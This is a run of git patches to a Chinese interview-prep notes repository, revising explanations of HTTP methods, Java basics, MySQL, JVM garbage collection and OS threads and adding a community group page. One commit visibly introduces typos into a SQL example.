+- 帧（Fram）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
 
 <div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
 
@@ -739,7 +755,11 @@ HTTP/2.0 在客户端请求一个资源时，会把相关的资源一起发送
 
 ## 首部压缩
 
-HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
+HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。
+
+HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。
+
+不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
 
 <div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
 
@@ -751,7 +771,9 @@ GET 用于获取资源，而 POST 用于传输实体主体。
 
 ## 参数
 
-GET 和 POST 的请求都能使用额外的参数，但是 GET 的参数是以查询字符串出现在 URL 中，而 POST 的参数存储在实体主体中。
+GET 和 POST 的请求都能使用额外的参数，但是 GET 的参数是以查询字符串出现在 URL 中，而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高，因为照样可以通过一些抓包工具（Fiddler）查看。
+
+因为 URL 只支持 ASCII 码，因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`，而空格会转换为 `%20`。POST 参考支持标准字符集。
 
 ```
 GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
@@ -763,10 +785,6 @@ Host: w3schools.com
 name1=value1&name2=value2
 ```
 
-不能因为 POST 参数存储在实体主体中就认为它的安全性更高，因为照样可以通过一些抓包工具（Fiddler）查看。
-
-因为 URL 只支持 ASCII 码，因此 GET 的参数中如果存在中文等字符就需要先进行编码，例如`中文`会转换为`%E4%B8%AD%E6%96%87`，而空格会转换为`%20`。POST 支持标准字符集。
-
 ## 安全
 
 安全的 HTTP 方法不会改变服务器状态，也就是说它只是可读的。
@@ -779,9 +797,13 @@ GET 方法是安全的，而 POST 却不是，因为 POST 的目的是传送实
 
 ## 幂等性
 
-幂等的 HTTP 方法，同样的请求被执行一次与连续执行多次的效果是一样的，服务器的状态也是一样的。换句话说就是，幂等方法不应该具有副作用（统计用途除外）。在正确实现的条件下，GET，HEAD，PUT 和 DELETE 等方法都是幂等的，而 POST 方法不是。所有的安全方法也都是幂等的。
+幂等的 HTTP 方法，同样的请求被执行一次与连续执行多次的效果是一样的，服务器的状态也是一样的。换句话说就是，幂等方法不应该具有副作用（统计用途除外）。
 
-GET /pageX HTTP/1.1 是幂等的。连续调用多次，客户端接收到的结果都是一样的：
+所有的安全方法也都是幂等的。
+
+在正确实现的条件下，GET，HEAD，PUT 和 DELETE 等方法都是幂等的，而 POST 方法不是。
+
+GET /pageX HTTP/1.1 是幂等的，连续调用多次，客户端接收到的结果都是一样的：
 
 ```
 GET /pageX HTTP/1.1
@@ -790,7 +812,7 @@ GET /pageX HTTP/1.1
 GET /pageX HTTP/1.1
 ```
 
-POST /add_row HTTP/1.1 不是幂等的。如果调用多次，就会增加多行记录：
+POST /add_row HTTP/1.1 不是幂等的，如果调用多次，就会增加多行记录：
 
 ```
 POST /add_row HTTP/1.1   -> Adds a 1nd row
@@ -820,7 +842,8 @@ DELETE /idX/delete HTTP/1.1   -> Returns 404
 
 > XMLHttpRequest 是一个 API，它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式，并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
 
-在使用 XMLHttpRequest 的 POST 方法时，浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做，例如火狐就不会。而 GET 方法 Header 和 Data 会一起发送。
+- 在使用 XMLHttpRequest 的 POST 方法时，浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做，例如火狐就不会。
+- 而 GET 方法 Header 和 Data 会一起发送。
 
 # 九、HTTP/1.0 与 HTTP/1.1 的区别
 
diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index 907eea00..cda00ea0 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -549,7 +549,7 @@ SuperExtendExample.func()
 
 ## 重写与重载
 
-- 重写（Override）存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法；
+- 重写（Override）存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法，子类的返回值类型要等于或者小于父类的返回值；
 
 - 重载（Overload）存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。应该注意的是，返回值不同，其它都相同不算是重载。
 
diff --git a/notes/MySQL.md b/notes/MySQL.md
index d49fc952..f6aa853b 100644
--- a/notes/MySQL.md
+++ b/notes/MySQL.md
@@ -95,15 +95,15 @@ VARCHAR 会保留字符串末尾的空格，而 CHAR 会删除。
 
 ## 时间和日期
 
-MySQL 提供了两种相似的日期时间类型：DATATIME 和 TIMESTAMP。
+MySQL 提供了两种相似的日期时间类型：DATETIME 和 TIMESTAMP。
 
-### 1. DATATIME
+### 1. DATETIME
 
 能够保存从 1001 年到 9999 年的日期和时间，精度为秒，使用 8 字节的存储空间。
 
 它与时区无关。
 
-默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATATIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
+默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
 
 ### 2. TIMESTAMP
 
diff --git a/notes/计算机操作系统.md b/notes/计算机操作系统.md
index 52c74dd7..5c9f63a7 100644
--- a/notes/计算机操作系统.md
+++ b/notes/计算机操作系统.md
@@ -1,7 +1,7 @@
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
-    * [操作系统基本特征](#操作系统基本特征)
-    * [操作系统基本功能](#操作系统基本功能)
+    * [基本特征](#基本特征)
+    * [基本功能](#基本功能)
     * [系统调用](#系统调用)
     * [大内核和微内核](#大内核和微内核)
     * [中断分类](#中断分类)
@@ -35,7 +35,7 @@
 
 # 一、概述
 
-## 操作系统基本特征
+## 基本特征
 
 ### 1. 并发
 
@@ -63,7 +63,7 @@
 
 异步指进程不是一次性执行完毕，而是走走停停，以不可知的速度向前推进。
 
-## 操作系统基本功能
+## 基本功能
 
 ### 1. 进程管理
 
@@ -152,19 +152,27 @@ Linux 的系统调用主要有以下这些：
 
 一个进程中可以有多个线程，它们共享进程资源。
 
+QQ 和浏览器是两个进程，浏览器进程里面有很多线程，例如 HTTP 请求线程、事件响应线程、渲染线程等等，线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时，浏览器还可以响应用户的其它事件。
+
 <div align="center"> <img src="../pics//3cd630ea-017c-488d-ad1d-732b4efeddf5.png"/> </div><br>
 
 ### 3. 区别
 
-- 拥有资源：进程是资源分配的基本单位，但是线程不拥有资源，线程可以访问隶属进程的资源。
+（一）拥有资源
 
-- 调度：线程是独立调度的基本单位，在同一进程中，线程的切换不会引起进程切换，从一个进程内的线程切换到另一个进程中的线程时，会引起进程切换。
+进程是资源分配的基本单位，但是线程不拥有资源，线程可以访问隶属进程的资源。
 
-- 系统开销：由于创建或撤销进程时，系统都要为之分配或回收资源，如内存空间、I/O 设备等，所付出的开销远大于创建或撤销线程时的开销。类似地，在进行进程切换时，涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置，而线程切换时只需保存和设置少量寄存器内容，开销很小。
+（二）调度
 
-- 通信方面：进程间通信 (IPC) 需要进程同步和互斥手段的辅助，以保证数据的一致性。而线程间可以通过直接读/写同一进程中的数据段（如全局变量）来进行通信。
+线程是独立调度的基本单位，在同一进程中，线程的切换不会引起进程切换，从一个进程内的线程切换到另一个进程中的线程时，会引起进程切换。
 
-举例：QQ 和浏览器是两个进程，浏览器进程里面有很多线程，例如 HTTP 请求线程、事件响应线程、渲染线程等等，线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时，浏览器还可以响应用户的其它事件。
+（三）系统开销
+
+由于创建或撤销进程时，系统都要为之分配或回收资源，如内存空间、I/O 设备等，所付出的开销远大于创建或撤销线程时的开销。类似地，在进行进程切换时，涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置，而线程切换时只需保存和设置少量寄存器内容，开销很小。
+
+（四）通信方面
+
+进程间通信 (IPC) 需要进程同步和互斥手段的辅助，以保证数据的一致性。而线程间可以通过直接读/写同一进程中的数据段（如全局变量）来进行通信。
 
 ## 进程状态的切换
 
@@ -211,7 +219,10 @@ Linux 的系统调用主要有以下这些：
 
 将所有就绪进程按 FCFS 的原则排成一个队列，每次调度时，把 CPU 时间分配给队首进程，该进程可以执行一个时间片。当时间片用完时，由计时器发出时钟中断，调度程序便停止该进程的执行，并将它送往就绪队列的末尾，同时继续把 CPU 时间分配给队首的进程。
 
-时间片轮转算法的效率和时间片的大小有很大关系。因为进程切换都要保存进程的信息并且载入新进程的信息，如果时间片太小，会导致进程切换得太频繁，在进程切换上就会花过多时间。
+时间片轮转算法的效率和时间片的大小有很大关系：
+
+- 因为进程切换都要保存进程的信息并且载入新进程的信息，如果时间片太小，会导致进程切换得太频繁，在进程切换上就会花过多时间。
+- 而如果时间片过长，那么实时性就不能得到保证。
 
 <div align="center"> <img src="../pics//8c662999-c16c-481c-9f40-1fdba5bc9167.png"/> </div><br>
 

From 4ab241fd8175ec4105727c790f01d4a37f6f440c Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 2 Aug 2018 00:25:48 +0800
Subject: [PATCH 36/87] auto commit

---
 notes/Java 基础.md | 2 +-
 notes/MySQL.md     | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index 564d643e..cda00ea0 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -551,7 +551,7 @@ SuperExtendExample.func()
 
 - 重写（Override）存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法，子类的返回值类型要等于或者小于父类的返回值；
 
-- 重载（Overload）存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。应该注意的是，返回值不同，其它都相同不算是重载，但如果返回值类型等于或者小于父类的返回值则算是重写。
+- 重载（Overload）存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。应该注意的是，返回值不同，其它都相同不算是重载。
 
 # 五、Object 通用方法
 
diff --git a/notes/MySQL.md b/notes/MySQL.md
index 0ab28ad8..f6aa853b 100644
--- a/notes/MySQL.md
+++ b/notes/MySQL.md
@@ -329,7 +329,7 @@ Explain 用来分析 SELECT 查询语句，开发人员可以通过分析 Explai
 一个大查询如果一次性执行的话，可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。
 
 ```sql
-DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
+DELEFT FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
 ```
 
 ```sql
@@ -351,7 +351,7 @@ do {
 - 查询本身效率也可能会有所提升。例如下面的例子中，使用 IN() 代替连接查询，可以让 MySQL 按照 ID 顺序进行查询，这可能比随机的连接要更高效。
 
 ```sql
-SELECT * FROM tag
+SELECT * FROM tab
 JOIN tag_post ON tag_post.tag_id=tag.id
 JOIN post ON tag_post.post_id=post.id
 WHERE tag.tag='mysql';

From 2abde21661dcefbddebdfe96719d7cb12d658bf2 Mon Sep 17 00:00:00 2001
From: Keqi Huang <keqih@smu.edu>
Date: Thu, 2 Aug 2018 08:03:42 +0800
Subject: [PATCH 37/87] =?UTF-8?q?Update=20Java=20=E8=99=9A=E6=8B=9F?=
 =?UTF-8?q?=E6=9C=BA.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/Java 虚拟机.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index 3bb9f289..d67ef5bd 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -102,7 +102,7 @@ Class 文件中的常量池（编译器生成的各种字面量和符号引用
 
 ## 直接内存
 
-在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在 Java 堆和 Native 堆中来回复制数据。
+在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因此避免了在 Java 堆和 Native 堆中来回复制数据。
 
 # 二、垃圾收集
 
@@ -146,7 +146,7 @@ Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC
 
 ### 3. 引用类型
 
-无论是通过引用计算算法判断对象的引用数量，还是通过可达性分析算法判断对象是否可达，判定对象是否可被回收都与引用有关。
+无论是通过引用计数算法判断对象的引用数量，还是通过可达性分析算法判断对象是否可达，判定对象是否可被回收都与引用有关。
 
 Java 具有四种强度不同的引用类型。
 
@@ -256,7 +256,7 @@ finalize() 类似 C++ 的析构函数，用来做关闭外部资源等工作。
 一般将 Java 堆分为新生代和老年代。
 
 - 新生代使用：复制算法
-- 老年代使用：标记 - 清理 或者 标记 - 整理 算法
+- 老年代使用：标记 - 清除 或者 标记 - 整理 算法
 
 ## 垃圾收集器
 

From ef9dc26fb6af0862f532d3efc26915b2c6c4f4be Mon Sep 17 00:00:00 2001
From: Keqi Huang <keqih@smu.edu>
Date: Thu, 2 Aug 2018 08:10:35 +0800
Subject: [PATCH 38/87] =?UTF-8?q?Update=20Java=20=E8=99=9A=E6=8B=9F?=
 =?UTF-8?q?=E6=9C=BA.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/Java 虚拟机.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index d67ef5bd..906f4ef6 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -102,7 +102,7 @@ Class 文件中的常量池（编译器生成的各种字面量和符号引用
 
 ## 直接内存
 
-在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因此避免了在 Java 堆和 Native 堆中来回复制数据。
+在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为其避免了在 Java 堆和 Native 堆中来回复制数据。
 
 # 二、垃圾收集
 

From 726366858b1c19bf495e95d2b8d092fdd654e0d6 Mon Sep 17 00:00:00 2001
From: luocaodan <luocaodan@buaa.edu.cn>
Date: Thu, 2 Aug 2018 18:28:38 +0800
Subject: [PATCH 39/87] =?UTF-8?q?Update=20Java=20=E5=B9=B6=E5=8F=91.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/Java 并发.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Java 并发.md b/notes/Java 并发.md
index ab3528f2..b704f70c 100644
--- a/notes/Java 并发.md	
+++ b/notes/Java 并发.md	
@@ -1419,7 +1419,7 @@ public final int incrementAndGet() {
 }
 ```
 
-以下代码是 getAndAddInt() 源码，var1 指示内存地址，var2 指示旧值，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果 var2==var5，那么就更新内存地址为 var1 的变量为 var5+var4。可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
+以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果 该字段内存地址中的值==var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
 
 ```java
 public final int getAndAddInt(Object var1, long var2, int var4) {

From 1d99676008f1f907397315a3fa9ef1a6eb01257d Mon Sep 17 00:00:00 2001
From: Zoctan <752481828@qq.com>
Date: Thu, 2 Aug 2018 22:40:04 +0800
Subject: [PATCH 40/87] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=20=E2=80=9D=E5=8F=82?=
 =?UTF-8?q?=E6=95=B0=E4=BC=A0=E9=80=92=E2=80=9C=20=E4=B8=AD=E4=B8=80?=
 =?UTF-8?q?=E7=82=B9=E5=86=85=E5=AE=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/Java 基础.md | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index cda00ea0..675b0918 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -223,7 +223,7 @@ System.out.println(s4 == s5);  // true
 
 Java 的参数是以值传递的形式传入方法中，而不是引用传递。
 
-Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。
+Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。而在方法中改变对象的成员变量值也会使原对象的成员变量发生变化，因为是改变同一个地址指向的内容。
 
 ```java
 public class Dog {
@@ -236,6 +236,10 @@ public class Dog {
     String getName() {
         return name;
     }
+    
+    void setName(String name) {
+        this.name = name;
+    }
 
     String getObjectAddress() {
         return super.toString();
@@ -251,6 +255,9 @@ public class PassByValueExample {
         func(dog);
         System.out.println(dog.getObjectAddress()); // Dog@4554617c
         System.out.println(dog.getName());          // A
+        func2(dog);
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        System.out.println(dog.getName());          // C
     }
 
     private static void func(Dog dog) {
@@ -259,6 +266,13 @@ public class PassByValueExample {
         System.out.println(dog.getObjectAddress()); // Dog@74a14482
         System.out.println(dog.getName());          // B
     }
+    
+    private static void func2(Dog dog) {
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        dog.setName("C");
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        System.out.println(dog.getName());          // C
+    }
 }
 ```
 

From fd0e8c11a843e112518a85969cce083a8a233a84 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 2 Aug 2018 23:03:37 +0800
Subject: [PATCH 41/87] add group

---
 README.md       |   2 +-
 other/Group.md  |   9 +++++++++
 other/group.jpg | Bin 0 -> 114283 bytes
 3 files changed, 10 insertions(+), 1 deletion(-)
 create mode 100644 other/Group.md
 create mode 100644 other/group.jpg

diff --git a/README.md b/README.md
index 294ac656..a2816aeb 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="150px">
     <br>
-    <a href="https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link"> <img src="https://img.shields.io/badge/>-gitter-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
+    <a href="https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link"> <img src="https://img.shields.io/badge/>-group-4ab8a1.svg"></a> <a href="other/Group.md"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
 </div>
 
 <!-- [![](https://img.shields.io/badge/>-gitter-blue.svg)](https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link) [![](https://img.shields.io/badge/_-gitbook-4ab8a1.svg)](https://legacy.gitbook.com/book/cyc2018/interview-notebook/details)  -->
diff --git a/other/Group.md b/other/Group.md
new file mode 100644
index 00000000..59b35913
--- /dev/null
+++ b/other/Group.md
@@ -0,0 +1,9 @@
+创建交流群的主要目的是为了为大家提供一个交流平台，方便大家在学习的过程中互相讨论。
+
+这个交流群不是一个笔者的问题回答群，我更希望大家能够愿意积极回答，我相信提问和回答的过程都可以提升自己对知识的掌握程度。
+
+至于交流群和 Issue 有什么区别，主要是两方面：一是交流群实时性高一些，二是交流群会更活跃一些。另外，Issue 主要是用来发布一些项目中的错误和一些改进建议，当然也可以发布一些可以讨论的问题，交流群可以讨论的内容比较广，例如在阅读本项目过程中不理解的地方可以在交流群中寻求别人的帮助、新技术的讨论、招聘信息、学习和工作的感受等等。
+
+交流群不讨论政治，不讨论有争议性的话题，不发表仇视言论，不传播谣言，不发布广告（招聘信息之类的可以）。
+
+<center><img src="group.jpg" width="300px"></center> </br>
diff --git a/other/group.jpg b/other/group.jpg
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HcmV?d00001


From 2a96c66636b64fb220c1b0070bf2984c671f5bb1 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 2 Aug 2018 23:04:38 +0800
Subject: [PATCH 42/87] fix

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index a2816aeb..c015a100 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="150px">
     <br>
-    <a href="https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link"> <img src="https://img.shields.io/badge/>-group-4ab8a1.svg"></a> <a href="other/Group.md"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
+    <a href="other/Group.md"> <img src="https://img.shields.io/badge/>-group-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
 </div>
 
 <!-- [![](https://img.shields.io/badge/>-gitter-blue.svg)](https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link) [![](https://img.shields.io/badge/_-gitbook-4ab8a1.svg)](https://legacy.gitbook.com/book/cyc2018/interview-notebook/details)  -->

From 5fefd1a67f3b1d19d10b74d40a8ba379884a799f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 2 Aug 2018 23:05:50 +0800
Subject: [PATCH 43/87] fix

---
 other/Group.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/other/Group.md b/other/Group.md
index 59b35913..388b0ac6 100644
--- a/other/Group.md
+++ b/other/Group.md
@@ -6,4 +6,4 @@
 
 交流群不讨论政治，不讨论有争议性的话题，不发表仇视言论，不传播谣言，不发布广告（招聘信息之类的可以）。
 
-<center><img src="group.jpg" width="300px"></center> </br>
+<div align="cent"><img src="group.jpg" width="300px"></div> </br>

From 77f2be3635e017caf238bbbdc53093fde762b813 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Thu, 2 Aug 2018 23:06:41 +0800
Subject: [PATCH 44/87] fix

---
 other/Group.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/other/Group.md b/other/Group.md
index 388b0ac6..15d2b7d0 100644
--- a/other/Group.md
+++ b/other/Group.md
@@ -6,4 +6,4 @@
 
 交流群不讨论政治，不讨论有争议性的话题，不发表仇视言论，不传播谣言，不发布广告（招聘信息之类的可以）。
 
-<div align="cent"><img src="group.jpg" width="300px"></div> </br>
+<div align="center"><img src="group.jpg" width="300px"></div> </br>

From 274026e13816b13e067d859d0a9c55071d30b7e6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Thu, 2 Aug 2018 23:07:16 +0800
Subject: [PATCH 45/87] fix

---
 other/Group.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/other/Group.md b/other/Group.md
index 15d2b7d0..ae3a89f6 100644
--- a/other/Group.md
+++ b/other/Group.md
@@ -6,4 +6,5 @@
 
 交流群不讨论政治，不讨论有争议性的话题，不发表仇视言论，不传播谣言，不发布广告（招聘信息之类的可以）。
 
-<div align="center"><img src="group.jpg" width="300px"></div> </br>
+
+</br> <div align="center"><img src="group.jpg" width="300px"></div> </br>

From d0fa9aff51e474dab7db2fb64c3c841c40d40a02 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Thu, 2 Aug 2018 23:10:09 +0800
Subject: [PATCH 46/87] fix

---
 other/Group.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/other/Group.md b/other/Group.md
index ae3a89f6..5e7bbc90 100644
--- a/other/Group.md
+++ b/other/Group.md
@@ -2,9 +2,10 @@
 
 这个交流群不是一个笔者的问题回答群，我更希望大家能够愿意积极回答，我相信提问和回答的过程都可以提升自己对知识的掌握程度。
 
+因为笔者白天要上班，因此不能及时进行回复，大部分时间会处于潜水状态。
+
 至于交流群和 Issue 有什么区别，主要是两方面：一是交流群实时性高一些，二是交流群会更活跃一些。另外，Issue 主要是用来发布一些项目中的错误和一些改进建议，当然也可以发布一些可以讨论的问题，交流群可以讨论的内容比较广，例如在阅读本项目过程中不理解的地方可以在交流群中寻求别人的帮助、新技术的讨论、招聘信息、学习和工作的感受等等。
 
 交流群不讨论政治，不讨论有争议性的话题，不发表仇视言论，不传播谣言，不发布广告（招聘信息之类的可以）。
 
-
 </br> <div align="center"><img src="group.jpg" width="300px"></div> </br>

From 480a8070cd9daf6954749c7de45fbb9846874337 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Fri, 3 Aug 2018 00:12:55 +0800
Subject: [PATCH 47/87] auto commit

---
 notes/Java 基础.md      | 16 +-----------
 notes/Java 并发.md      |  2 +-
 notes/Java 虚拟机.md    |  6 ++---
 notes/Linux.md          | 58 ++++++++++++++---------------------------
 notes/MySQL.md          | 47 +++++++++++----------------------
 notes/Redis.md          |  3 +++
 notes/计算机操作系统.md | 34 ++++++++++++++++--------
 7 files changed, 66 insertions(+), 100 deletions(-)

diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index 675b0918..0bce5622 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -223,7 +223,7 @@ System.out.println(s4 == s5);  // true
 
 Java 的参数是以值传递的形式传入方法中，而不是引用传递。
 
-Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。而在方法中改变对象的成员变量值也会使原对象的成员变量发生变化，因为是改变同一个地址指向的内容。
+以下代码中 Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。但是如果在方法中改变对象的字段值会改变原对象该字段值，因为改变的是同一个地址指向的内容。
 
 ```java
 public class Dog {
@@ -236,10 +236,6 @@ public class Dog {
     String getName() {
         return name;
     }
-    
-    void setName(String name) {
-        this.name = name;
-    }
 
     String getObjectAddress() {
         return super.toString();
@@ -255,9 +251,6 @@ public class PassByValueExample {
         func(dog);
         System.out.println(dog.getObjectAddress()); // Dog@4554617c
         System.out.println(dog.getName());          // A
-        func2(dog);
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        System.out.println(dog.getName());          // C
     }
 
     private static void func(Dog dog) {
@@ -266,13 +259,6 @@ public class PassByValueExample {
         System.out.println(dog.getObjectAddress()); // Dog@74a14482
         System.out.println(dog.getName());          // B
     }
-    
-    private static void func2(Dog dog) {
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        dog.setName("C");
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        System.out.println(dog.getName());          // C
-    }
 }
 ```
 
diff --git a/notes/Java 并发.md b/notes/Java 并发.md
index b704f70c..627b824f 100644
--- a/notes/Java 并发.md	
+++ b/notes/Java 并发.md	
@@ -1419,7 +1419,7 @@ public final int incrementAndGet() {
 }
 ```
 
-以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果 该字段内存地址中的值==var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
